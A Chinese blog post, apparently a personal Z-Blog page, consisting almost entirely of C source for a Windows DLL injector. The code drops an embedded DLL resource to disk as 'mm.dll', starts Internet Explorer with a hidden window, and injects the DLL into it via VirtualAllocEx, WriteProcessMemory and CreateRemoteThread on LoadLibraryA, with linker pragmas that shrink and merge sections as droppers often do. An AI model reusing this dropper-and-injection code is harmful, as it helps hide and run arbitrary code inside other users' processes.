« 增肥方法jsp乱码问题 »

c插入进程。。

#include "stdafx.h"
#pragma comment(linker,"/ENTRY:subin /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")
#include"windows.h"
#include"tlhelp32.h"
#include "Winuser.h"
#include "resource.h"

void WriteResourceToFile(char const *filename)
{
    HINSTANCE hInstance=GetModuleHandle(NULL);
    HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_MAGICDEL_DLL),
                                  MAKEINTRESOURCE(RC_BINARYTYPE));
    HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
    void *pvRes = LockResource(hgRes);
    DWORD cbRes = SizeofResource(hInstance, hResInfo);

   
    HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,
                              FILE_ATTRIBUTE_NORMAL, 0);
    DWORD cbWritten;
    WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
    CloseHandle(hFile);
}

int subin()
{
    WriteResourceToFile("mm.dll");
    STARTUPINFO si; //进程启动时需要初始化的结构
PROCESS_INFORMATION pi; //进程启动后的有关信息
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.wShowWindow = SW_HIDE;//这里设置窗口为显示,SW_HIDE为隐藏窗口
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
CreateProcess("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE",
NULL,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi);
       HANDLE hS;
       hS = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
       if ( hS == INVALID_HANDLE_VALUE)
       {
            return 0;
       }
       char IPname[] = "IEXPLORE.EXE" ;
       PROCESSENTRY32 pe;
       pe.dwSize=sizeof(PROCESSENTRY32);
       BOOL fOk ;
       for(fOk = Process32First ( hS, &pe ) ; fOk;    fOk = Process32Next( hS, &pe ) )
       {
       //MessageBox(NULL,TEXT(pe.szExeFile),TEXT("MICHAEL"),0);
                if (!strcmpi(IPname,pe.szExeFile))
                {
                            HANDLE process=OpenProcess( PROCESS_ALL_ACCESS, false, pe.th32ProcessID ) ;
                            char szdll[128];
                            GetCurrentDirectory(128,szdll);
                            strcat(szdll,"\\mm.dll");
                            LPVOID psr;
                            int idl=sizeof(szdll)+1;
                            psr=VirtualAllocEx(process,NULL,idl,MEM_COMMIT,PAGE_READWRITE);
                            WriteProcessMemory(process,psr,(LPVOID)szdll,idl,NULL);
                            HMODULE hM;
                            LPTHREAD_START_ROUTINE fnSA;
                            hM = GetModuleHandle ( "kernel32.DLL" ) ;
                            fnSA=(LPTHREAD_START_ROUTINE) GetProcAddress(hM,"LoadLibraryA");
                            HANDLE hin=NULL;
                            hin=CreateRemoteThread(process,NULL,0,fnSA,psr,0,NULL);
                            if( hS != NULL )
                                CloseHandle ( hS ) ;//关闭进程快照
                            CloseHandle (process) ;
                            break ;
                }
       }
}
 

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

网站目录

最近发表

最新评论及回复

文章归档

Search

Powered By Z-Blog 1.8 Terminator(beta) Build 71218 Designed by Michael

Copyright 0-9999 subin.org.cn Rights Reserved. 晋ICP备08000685号